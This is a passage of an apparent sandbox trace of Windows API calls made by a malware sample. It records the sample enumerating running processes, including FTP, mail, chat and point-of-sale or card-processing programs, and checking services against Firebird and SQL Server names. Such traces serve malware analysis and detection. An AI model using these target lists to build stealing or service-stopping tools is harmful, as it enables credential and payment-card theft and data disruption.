[0067.832] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0067.833] lstrlenW (lpString="alftp.exe") returned 9 [0067.833] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0067.834] lstrlenW (lpString="barca.exe") returned 9 [0067.834] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0067.835] lstrlenW (lpString="bitkinex.exe") returned 12 [0067.836] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0067.837] lstrlenW (lpString="coreftp.exe") returned 11 [0067.837] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0067.838] lstrlenW (lpString="far.exe") returned 7 [0067.838] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0067.839] lstrlenW (lpString="filezilla.exe") returned 13 [0067.839] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0067.840] lstrlenW (lpString="flashfxp.exe") returned 12 [0067.840] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0067.841] lstrlenW (lpString="fling.exe") returned 9 [0067.842] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0067.843] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0067.843] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0067.844] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0067.844] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0067.845] lstrlenW (lpString="icq.exe") returned 7 [0067.845] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0067.846] lstrlenW (lpString="leechftp.exe") returned 12 [0067.846] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0067.848] lstrlenW (lpString="ncftp.exe") returned 9 [0067.848] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0067.849] lstrlenW (lpString="notepad.exe") returned 11 [0067.849] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0067.851] lstrlenW (lpString="operamail.exe") returned 13 [0067.851] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0067.853] lstrlenW (lpString="pidgin.exe") returned 10 [0067.853] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0067.854] lstrlenW (lpString="scriptftp.exe") returned 13 [0067.854] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0067.856] lstrlenW (lpString="skype.exe") returned 9 [0067.856] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0067.858] lstrlenW (lpString="smartftp.exe") returned 12 [0067.858] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0067.862] lstrlenW (lpString="thunderbird.exe") returned 15 [0067.863] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0068.032] lstrlenW (lpString="totalcmd.exe") returned 12 [0068.032] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0068.034] lstrlenW (lpString="trillian.exe") returned 12 [0068.034] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0068.035] lstrlenW (lpString="webdrive.exe") returned 12 [0068.035] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0068.037] lstrlenW (lpString="whatsapp.exe") returned 12 [0068.037] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0068.039] lstrlenW (lpString="winscp.exe") returned 10 [0068.039] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0068.041] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0068.041] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0068.043] lstrlenW (lpString="active-charge.exe") returned 17 [0068.043] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0068.044] lstrlenW (lpString="accupos.exe") returned 11 [0068.044] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0068.046] lstrlenW (lpString="afr38.exe") returned 9 [0068.046] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0068.054] lstrlenW (lpString="aldelo.exe") returned 10 [0068.054] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0068.055] lstrlenW (lpString="ccv_server.exe") returned 14 [0068.056] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0068.057] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0068.057] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0068.059] lstrlenW (lpString="creditservice.exe") returned 17 [0068.059] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0068.061] lstrlenW (lpString="edcsvr.exe") returned 10 [0068.061] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0068.063] lstrlenW (lpString="fpos.exe") returned 8 [0068.063] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0068.065] lstrlenW (lpString="isspos.exe") returned 10 [0068.065] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0068.067] lstrlenW (lpString="mxslipstream.exe") returned 16 [0068.067] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0068.068] lstrlenW (lpString="omnipos.exe") returned 11 [0068.069] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0068.070] lstrlenW (lpString="spcwin.exe") returned 10 [0068.070] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0068.072] lstrlenW (lpString="spgagentservice.exe") returned 19 [0068.072] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0068.073] lstrlenW (lpString="utg2.exe") returned 8 [0068.074] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0068.075] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0068.075] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0068.077] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0068.077] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0068.120] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0068.200] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0068.202] lstrlenW (lpString="achieve.exe") returned 11 [0068.202] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0068.203] lstrlenW (lpString="harvard.exe") returned 11 [0068.204] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0068.206] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0068.206] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0068.207] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0068.207] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0068.208] lstrlenW (lpString="taskhost.exe") returned 12 [0068.209] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0068.210] lstrlenW (lpString="dllhost.exe") returned 11 [0068.210] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0068.212] lstrlenW (lpString="dllhost.exe") returned 11 [0068.212] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0068.213] lstrlenW (lpString="mdskkv.exe") returned 10 [0068.213] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0068.215] lstrlenW (lpString="cmd.exe") returned 7 [0068.215] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0068.216] lstrlenW (lpString="conhost.exe") returned 11 [0068.216] Process32NextW (in: hSnapshot=0x11c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0068.217] CloseHandle (hObject=0x11c) returned 1 [0068.217] Sleep (dwMilliseconds=0x1f4) [0069.322] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x624c20 [0069.323] EnumServicesStatusExW (in: hSCManager=0x624c20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0069.324] GetLastError () returned 0xea [0069.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e4) returned 0x3ec0220 [0069.324] EnumServicesStatusExW (in: hSCManager=0x624c20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ec0220, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ec0220, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0069.325] CloseServiceHandle (hSCObject=0x624c20) returned 1 [0069.326] lstrlenW (lpString="Appinfo") returned 7 [0069.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0069.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0069.327] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0069.327] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0069.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0069.327] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0069.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0069.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0069.327] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0069.327] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0069.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0069.328] lstrlenW (lpString="AudioSrv") returned 8 [0069.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0069.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0069.328] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0069.328] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0069.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0069.328] lstrlenW (lpString="BFE") returned 3 [0069.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0069.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0069.328] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0069.328] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0069.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0069.328] lstrlenW (lpString="CryptSvc") returned 8 [0069.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0069.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0069.328] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0069.328] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0069.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0069.329] lstrlenW (lpString="CscService") returned 10 [0069.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0069.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0069.329] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0069.329] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0069.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0069.329] lstrlenW (lpString="DcomLaunch") returned 10 [0069.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0069.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0069.329] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0069.329] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0069.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0069.329] lstrlenW (lpString="Dhcp") returned 4 [0069.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0069.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0069.329] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0069.330] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0069.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0069.330] lstrlenW (lpString="Dnscache") returned 8 [0069.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0069.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0069.330] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0069.330] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0069.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0069.330] lstrlenW (lpString="DPS") returned 3 [0069.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0069.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0069.330] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0069.330] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0069.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0069.330] lstrlenW (lpString="eventlog") returned 8 [0069.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0069.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0069.330] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0069.331] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0069.331] 